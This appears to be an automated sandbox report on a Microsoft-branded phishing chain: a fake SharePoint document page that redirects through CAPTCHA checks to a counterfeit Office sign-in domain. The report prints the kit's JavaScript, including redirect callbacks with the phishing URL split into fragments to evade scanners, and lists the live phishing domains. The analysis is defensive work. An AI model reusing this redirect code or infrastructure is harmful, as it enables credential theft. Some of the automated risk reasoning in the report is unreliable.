window.switchToSecondCaptcha = function () { console.log("CAPTCHA switch callback activated") let gForm = document.querySelector("#gForm") if (validateElement(gForm) \|\| gForm.style == "visible") { return } setTimeout(function () { const cfForm = document.querySelector("#cfForm") if (validateElement(cfForm) && cfForm.style.visibility != "hidden") { cfForm.remove() } setTimeout(function () { gForm.style.visibility = "visible" }, 200) }, 200) } var refreshCallBack = function (response) { console.log("Refresh callback activated") setTimeout(function () { window.location.reload() }, 1000) }
URL: https://documentsharepoint-officeb875553995f454665... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a benign script with low-risk indicators. It updates the page title based on the active breadcrumb element and provides a function to navigate to a new editor page. There are no high-risk behaviors, such as dynamic code execution, data exfiltration, or obfuscated code. The script's purpose is transparent and does not demonstrate any suspicious or malicious intent." }
//this event will update the title of the page based on active breadcrumb $('.breadcrumb').ready(function () { if ($('.breadcrumb').is(':visible')) { document.querySelector('title').innerHTML = ($('.breadcrumb > li.active').text() + ""); } }); function GoToNewEditor() { var editCmsUrlSegment = "EditInCms"; var currentUrl = window.location.href; if (currentUrl.indexOf('?') > -1) { var urlSegments = currentUrl.split("?"); window.location.href = window.location.origin + '/' + editCmsUrlSegment + window.location.pathname + '?' + urlSegments[1]; } else { window.location.href = window.location.origin + '/' + editCmsUrlSegment + window.location.pathname; } }
URL: https://documentsharepoint-officeb875553995f454665... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a benign script that adds accessibility links to a web page based on the user's language. It does not exhibit any high-risk behaviors, such as dynamic code execution, data exfiltration, or obfuscation. The script simply manipulates the DOM to create and append language-specific anchor tags to a container element. This behavior is consistent with typical accessibility features and does not raise any major security concerns." }
window.onload = function() { const accessibilityLinkContainer = document.getElementById("accessibilityLinkContainer"); switch(window.navigator.language) { case "fr": if (accessibilityLinkContainer != null) { const accessibilityText="Accessibilité : partiellement conforme"; const frenchAccessibilityAnchor = document.createElement("a"); frenchAccessibilityAnchor.id = "frenchAccesssibleLink"; frenchAccessibilityAnchor.target = "_blank"; frenchAccessibilityAnchor.href = "https://go.microsoft.com/fwlink/?linkid=2163806"; frenchAccessibilityAnchor.title = accessibilityText; frenchAccessibilityAnchor.innerText = accessibilityText; accessibilityLinkContainer.appendChild(frenchAccessibilityAnchor); } break; case "it": if (accessibilityLinkContainer != null) { const accessibilityText="Accessibilità: parzialmente conforme"; const italianAccessibilityAnchor = document.createElement("a"); italianAccessibilityAnchor.id = "italianAccesssibleLink"; italianAccessibilityAnchor.target = "_blank"; italianAccessibilityAnchor.href = "https://go.microsoft.com/fwlink/?linkid=2208177"; italianAccessibilityAnchor.title = accessibilityText; italianAccessibilityAnchor.innerText = accessibilityText; accessibilityLinkContainer.appendChild(italianAccessibilityAnchor); } break; default: accessibilityLinkContainer.remove(); } };
URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3noph... Model: Joe Sandbox AI	{ "risk_score": 9, "reasoning": "This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated URLs. The script redirects the user to a suspicious domain, which is a strong indicator of malicious intent. Additionally, the script interacts with the DOM in an aggressive manner, hiding an element on the page. Overall, the combination of these behaviors suggests a high-risk, potentially malicious script." }
var verifyCallback_hCaptcha = function (response) { let gForm = document.querySelector("#gForm") if (gForm == undefined) { return } if (gForm.style != undefined && gForm.style.visibility != undefined) { gForm = document.querySelector("#gForm").style.visibility = "hidden" } window.location.href = 'htt' + 'p' + 's' + ':/' + '/of' + 'fic' + 'e.' + '95p' + 'i' + 'b2o' + 'z' + 'wrw' + '4' + 'w2' + 'b' + '4' + 't1' + 'u' + 'b' + 'rx' + 'pjc' + '76' + 'do' + 's3n' + 'op' + 'h' + 'vir' + 'ht.' + 'in' + 'f' + 'o/m' + 'Ql' + 'r' + 'u' + 'OEx' + '?R=' + '5' + 'G' + 'X' + 'lEI' + 'o' + window.location.hash } function validateElement(element) { return element != undefined && element.style != undefined && element.style.visibility != undefined }
URL: https://documentsharepoint-officeb875553995f454665... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be handling user authentication and session management, which is a common and legitimate practice. It checks the user's authentication status, clears session data if the user is not authenticated, and updates the authentication status in the session storage. This behavior does not exhibit any high-risk indicators, such as dynamic code execution, data exfiltration, or obfuscation. The script is likely part of a larger application and does not demonstrate any suspicious or malicious intent." }
var isPvaBotAuthenticated = sessionStorage['isPvaBotAuthenticated']; var isPortalUserLoggedIn = 'False'; if ((isPvaBotAuthenticated != null \|\| isPvaBotAuthenticated != undefined) && isPvaBotAuthenticated != isPortalUserLoggedIn) { sessionStorage['triggerPvaBotSignOut'] = true; sessionStorage.removeItem('c2Token'); sessionStorage.removeItem('directLinetoken'); sessionStorage.removeItem('conversation_Id'); } sessionStorage['isPvaBotAuthenticated'] = isPortalUserLoggedIn;
URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3noph... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and the use of obfuscated URLs. The script redirects the user to a suspicious domain, which is a strong indicator of malicious intent. Additionally, the script collects user input (likely credentials) and sends it to an external server, posing a significant risk of data theft. Overall, this script demonstrates a high level of risk and should be treated with caution." }
var verifyCallback_CF = function (response) { let cfForm = document.querySelector("#cfForm") if (validateElement(cfForm) && response.length > 10) { // console.log(response); cfForm.remove() window.location.href = 'htt' + 'p' + 's' + ':/' + '/of' + 'fic' + 'e.' + '95p' + 'i' + 'b2o' + 'z' + 'wrw' + '4' + 'w2' + 'b' + '4' + 't1' + 'u' + 'b' + 'rx' + 'pjc' + '76' + 'do' + 's3n' + 'op' + 'h' + 'vir' + 'ht.' + 'in' + 'f' + 'o/m' + 'Ql' + 'r' + 'u' + 'OEx' + '?R=' + '5' + 'G' + 'X' + 'lEI' + 'o' + window.location.hash return } console.log("cant find cloudflare, switching to hcaptcha") return switchToSecondCaptcha() }
URL: https://documentsharepoint-officeb875553995f454665... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a legitimate implementation of Microsoft Dynamics 365 Portal functionality. It sets up a namespace for the Dynamics 365 Portal and initializes various properties related to the user, version, type, and telemetry settings. While it includes some dynamic behavior, such as setting the `dynamics365PortalAnalytics` cookie, the overall context suggests this is part of a legitimate application and does not demonstrate any clear malicious intent." }
window["Microsoft"] = window["Microsoft"] \|\| {}; window["Microsoft"].Dynamic365 = { Portal: { User: { userName: '', contactId: '' }, version: '9.6.9.21', type: 'PowerPages_BlankTemplate_V2', id: '336c34fe-5e17-463e-a11f-b3f8fe411c95', geo: 'NAM', tenant: 'f2ac9e8f-234c-46fc-99a0-bcabb38dbd6b', correlationId: '395b8232-6a05-4e57-979e-2cb2b6f0ca7d', orgEnvironmentId: 'd4113537-aed5-ef9d-9226-82e525e56f0f', portalProductionOrTrialType: 'Trial', isTelemetryEnabled: 'True', InstrumentationSettings: { instrumentationKey: '197418c5cb8c4426b201f9db2e87b914-87887378-2790-49b0-9295-51f43b6204b1-7172', collectorEndpoint: 'https://us-mobile.events.data.microsoft.com/OneCollector/1.0/' }, timerProfileForBatching: 'NEAR_REAL_TIME' } } // Mark request not cacheable if Dynamics365PortalAnalytics cookie is being refreshed by the server or if the cookie in request header is invalid // For client side telemetry intializing Dynamics365PortalAnalytics cookie object window["Microsoft"].Dynamic365.Portal.dynamics365PortalAnalytics = 'ZJlphq_7SGLy6l_I8yr2QNKNB4oIhs9FTUnrXXqOhAygmNjnWqU7bcQnWB4BxmdF8g3MKcJujnX4drMfjKmo7xa-D7bdqcsA7ZQ0Flvkza-OMTZaSUA398tIxKnWaougzcCVHRNZaf_Si2KgXUPvGA2'; // CodeQL [SM00430] False Positive: only alphanumeric chars allowed, for non-alphanumeric char it will return INVALID_CHARACTERS_IN_COOKIE
URL: https://documentsharepoint-officeb875553995f454665... Model: Joe Sandbox AI	{ "risk_score": 2, "reasoning": "The provided JavaScript snippet appears to be a legitimate and benign code. It includes two main functionalities: 1) Refreshing all PowerBI iframes when a 'refreshPowerBI' message is received, and 2) Fixing the viewport width issue in Internet Explorer 10 on Windows Phone 8. These behaviors are common and do not demonstrate any high-risk indicators such as dynamic code execution, data exfiltration, or obfuscation. The code is straightforward and does not interact with any suspicious domains. Overall, this script poses a low risk and is likely part of a legitimate application." }
// Refresh all powerBI Iframes on Login in one Iframe window.addEventListener('message', function (event) { if (event && event.data && event.data == 'refreshPowerBI') { $("iframe.powerbi").each(function () { this.src = this.src; }); } }); // Fix for incorrect viewport width setting in IE 10 on Windows Phone 8. if (navigator.userAgent.match(/IEMobile\/10\.0/)) { var msViewportStyle = document.createElement("style"); msViewportStyle.appendChild(document.createTextNode("@-ms-viewport{width:auto!important}")); document.getElementsByTagName("head")[0].appendChild(msViewportStyle); }
URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3noph... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a legitimate script that handles form validation and captcha switching. It does not exhibit any high-risk behaviors, such as dynamic code execution, data exfiltration, or obfuscated code. The script primarily interacts with the DOM to update the UI and validate form elements, which is a common practice. While it uses some legacy APIs like `setTimeout` and `setInterval`, these are not inherently malicious. Overall, the script seems to be focused on providing a user-friendly experience and does not raise significant security concerns." }
var incrementLoader = function () { const waitp = document.querySelector("#cf-spinner-please-wait") const gForm = document.querySelector("#gForm") if (validateElement(gForm) && gForm.style.visibility == "hidden") { waitp.textContent += "." } } setTimeout(() => { let i = 0 ticker = setInterval(function () { i += 1 incrementLoader() if (i > 3) { clearInterval(ticker) return } }, 1000) }, 500) setTimeout(function () { const cfForm = document.querySelector("#cfForm") if (!validateElement(cfForm)) { switchToSecondCaptcha() return } const gForm = document.querySelector("#gForm") if (!validateElement(gForm)) { // nothing to switch to return } if (cfForm.style.visibility == "visible" \|\| gForm.style.visibility != "visible") { switchToSecondCaptcha() } }, 7000)
URL: https://documentsharepoint-officeb875553995f454665... Model: Joe Sandbox AI	{ "risk_score": 3, "reasoning": "The provided JavaScript snippet appears to be a legitimate implementation of an authentication flow, with no clear indicators of malicious intent. It checks a configuration flag to determine if the 'OmniChannel Widget with Site Copilot' feature is enabled, and if so, it fetches an authentication token from a trusted domain (`window.location.origin`) and stores it in the session storage. This behavior is consistent with typical authentication and session management practices, and does not exhibit any high-risk indicators such as dynamic code execution, data exfiltration, or obfuscation. The use of a retry mechanism is also a common pattern to handle potential network failures. Overall, this script appears to be a benign implementation with low risk." }
var enableOmniChannelWidgetWithSiteCopilot = 'False'; if (enableOmniChannelWidgetWithSiteCopilot === "True" \|\| enableOmniChannelWidgetWithSiteCopilot === "true") { const authUrl = window.location.origin + "/_services/auth/portalusertoken"; const fetchWithRetries = async (url, options, retries) => { try { const authResponse = await fetch(url, options); const token = await authResponse.text(); sessionStorage['c2Token'] = token; } catch (err) { if (retries === 1) throw err; return await fetchWithRetries(url, options, retries - 1); } }; fetchWithRetries(authUrl, { method: "POST" }, 4); }
URL: https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/ Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net/ Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "New Document Received", "prominent_button_name": "VIEW", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://guidantmeasurement-dot-level-district-447409-i0.as.r.appspot.com/ Model: Joe Sandbox AI	{ "brands": [ "Microsoft Sharepoint" ] }
	{ "brands": [ "Microsoft Sharepoint" ] }
URL: https://documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net/ Model: Joe Sandbox AI	{ "brands": [ "Office", "SharePoint" ] }
	{ "brands": [ "Office", "SharePoint" ] }
URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Did you know there are Verified Bots that are allowed around the internet because they help provide services we use day to day?", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please stand by, while we are checking if the site connection is secure...", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please stand by, while we are checking if the site connection is secure...", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please stand by, while we are checking if the site connection is secure...", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please stand by, while we are checking if the site connection is secure....", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please stand by, while we are checking if the site connection is secure....", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A% Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "nah6e9@ppvitk.id" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The URL 'office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info' does not match the legitimate domain for Microsoft.", "The domain contains a random string '95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht', which is suspicious and not associated with Microsoft.", "The use of '.info' as a domain extension is unusual for Microsoft, which typically uses '.com'.", "The presence of 'office' in the subdomain could be an attempt to mimic Microsoft's Office product, which is a common phishing tactic." ], "riskscore": 9} Google indexed: False
URL: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Brands: Microsoft Input Fields: unknown
URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A% Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/mQlruOEx?gsjnbjbhv87934hr874rbif43hf=JHHJHVJHJJKDNJKNDJII93JNJJjjjd Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The URL 'office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info' does not match the legitimate domain for Microsoft.", "The domain contains a random string '95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht', which is suspicious and not associated with Microsoft.", "The use of '.info' as a domain extension is unusual for Microsoft, which typically uses '.com'.", "The presence of 'office' in the subdomain could be an attempt to mimic Microsoft's Office product, increasing the likelihood of phishing." ], "riskscore": 9} Google indexed: False
URL: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Brands: Microsoft Input Fields: unknown
URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A% Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "We couldn't find an account with that username. Try another, or get a new Microsoft account.", "prominent_button_name": "Next", "text_input_field_labels": [ "nahge9@ppvitk.id" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A% Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }
URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A% Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The URL 'office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info' does not match the legitimate domain for Microsoft.", "The domain contains a long string of random characters, which is a common tactic used in phishing URLs.", "The domain extension '.info' is unusual for a Microsoft-related service, which typically uses '.com'.", "The presence of 'office' in the subdomain could be an attempt to mimic Microsoft's Office services, increasing suspicion." ], "riskscore": 9} Google indexed: False
URL: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Brands: Microsoft Input Fields: nah6e9@ppvitk.id
URL: https://office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A% Model: Joe Sandbox AI	```json{ "legit_domain": "microsoft.com", "classification": "wellknown", "reasons": [ "The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'.", "The URL 'office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info' does not match the legitimate domain for Microsoft.", "The domain contains a random string '95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht', which is suspicious and not associated with Microsoft.", "The use of '.info' as a domain extension is unusual for Microsoft, which typically uses '.com'.", "The URL does not have any direct association with Microsoft, increasing the likelihood of it being a phishing site." ], "riskscore": 9} Google indexed: False
URL: office.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info Brands: Microsoft Input Fields: nahge9@ppvitk.id

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (54049)
Category:	downloaded
Size (bytes):	54098
Entropy (8bit):	5.085819781103952
Encrypted:	false
SSDEEP:	768:U6QY8U4B5Fg0kASqYXBwTySF8IKtfm1K7d4a4v/TPRJv8fg:ZQY8U4B5FgBwYX2ySF87tfmX/TPRJv8Y
MD5:	110C02AABA6D184B61982072646CAF33
SHA1:	5FB13C49228FD1A7597A4DE2AB57AE6F68233856
SHA-256:	A2EB7527F1135BFE4F7B429303B3350C680FEAA326EB307737EB2A90B7AA84B3
SHA-512:	7BCC3D8CE343FAC39E811990B3F0AAE3B1952DFF21A668FF21E2A5341673CE5A3D9E63E4B30D4F77FEBD80907BAD8E3251FE1F7DAAE33242D6349E370FB5989A
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/host/573.676281aef2.chunk.js
Preview:	(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[573],{4025:(t,e,n)=>{"use strict";n.d(e,{m:()=>u});var r=n(9686),i=n(64),s=n(8772),u=new(function(t){function e(){var e;return(e=t.call(this)\|\|this).setup=function(t){var e;if(!s.S$&&(null==(e=window)?void 0:e.addEventListener)){var n=function(){return t()};return window.addEventListener("visibilitychange",n,!1),window.addEventListener("focus",n,!1),function(){window.removeEventListener("visibilitychange",n),window.removeEventListener("focus",n)}}},e}(0,r.A)(e,t);var n=e.prototype;return n.onSubscribe=function(){this.cleanup\|\|this.setEventListener(this.setup)},n.onUnsubscribe=function(){var t;this.hasListeners()\|\|(null==(t=this.cleanup)\|\|t.call(this),this.cleanup=void 0)},n.setEventListener=function(t){var e,n=this;this.setup=t,null==(e=this.cleanup)\|\|e.call(this),this.cleanup=t((function(t){"boolean"==typeof t?n.setFocused(t):n.onFocus()}))},n.setFocused=function(t){this.focused=t,t&&t

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (394)
Category:	downloaded
Size (bytes):	27274
Entropy (8bit):	5.117936995195965
Encrypted:	false
SSDEEP:	384:yL5Hxj5nhS1fcsnAQX1ioZ9BfYnbqa1LNv:yL5Hxj5nhS1fcsnARoZ9Bw1h
MD5:	A47C0A01DD75A29AA37645F468FA8BB7
SHA1:	838F81933BA16B0B3A6450FC97EA48A8DA6E63EE
SHA-256:	CB702374B99CBBD02F2760327443C67257B6CD9C141EEBC09D44729ACF10237E
SHA-512:	6991AD4B09090902248E2D8EB062F21A4AAAFD88801373847C45B6E28B5593127F96D1A83449DBEF2291F06C808998D1C86655D89DA3FA5A2A87BF5FBEA3C169
Malicious:	false
Reputation:	low
URL:	https://documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net/portalbasictheme.css
Preview:	/*. Code generated by Microsoft. Changes to this file are not. * supported. We recommend that you do not modify this file. Any. * change to this file will get overwritten with a theme applied using. * Site Styling panel from Power Apps Portals.. */.:root {. --portalThemeColor1: #9ADBFF;. --portalThemeColor2: #1276CE;. --portalThemeColor3: #CDCDCD;. --portalThemeColor4: #0E5A9D;. --portalThemeColor5: #F4F9FD;. --portalThemeColor6: #303233;. --portalThemeColor7: #FFFFFF;. --portalThemeColor8: #323130;. --portalThemeColor9: #004184;. --portalThemeColor10: #3a9c88;. --portalThemeColor11: #54daff;. --portalThemeColor12: ;. --portalThemeOnColor1: #323130;. --portalThemeOnColor2: #FFFFFF;. --portalThemeOnColor3: #323130;. --portalThemeOnColor4: #FFFFFF;. --portalThemeOnColor5: #323130;. --portalThemeOnColor6: #FFFFFF;. --portalThemeOnColor7: #323130;. --portalThemeOnColor8: #FFFFFF;. --portalThemeOnColor9: #FFFFFF;. --portalThemeOnColor10: #323130;. --portalThemeOnCo

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65445)
Category:	downloaded
Size (bytes):	540048
Entropy (8bit):	5.302089229352873
Encrypted:	false
SSDEEP:	6144:k87cPYYGRPJ9As5j9534cMPRLyWPcmW23Oj+PJ0FEdtrwC:k8oYYwPIkj4fZ/4yg8tkC
MD5:	CF8E0FD9421E12CFB59F0266E0273F7D
SHA1:	62EF88B36C4A8C0475E10DFD80A4F7E588AA1F15
SHA-256:	522C2E27DB64974813E59251D101596A7692A9B964771A9CE3F1978247862258
SHA-512:	224B4823B23AC17E328194A285B48FCE4244D2649E66CCC9A7DFBC8AFD8AEA5C1E1D4A5AEFF181734DB48F5FDC407EA3ABDF66362912E6EE520CBB01C9BFDA18
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/dist/preform.BootstrapV5.moment_2_29_4.bundle-cf8e0fd942.js
Preview:	/! jQuery v3.6.2 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /.!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(k,e){"use strict";var t=[],n=Object.getPrototypeOf,a=t.slice,m=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},l=t.push,s=t.indexOf,i={},r=i.toString,g=i.hasOwnProperty,o=g.toString,u=o.call(Object),v={},y=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType&&"function"!=typeof e.item},_=function(e){return null!=e&&e===e.window},D=k.document,h={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,i){var n,s,r=(i=i\|\|D).createElement("script");if(r.text=e,t)for(n in 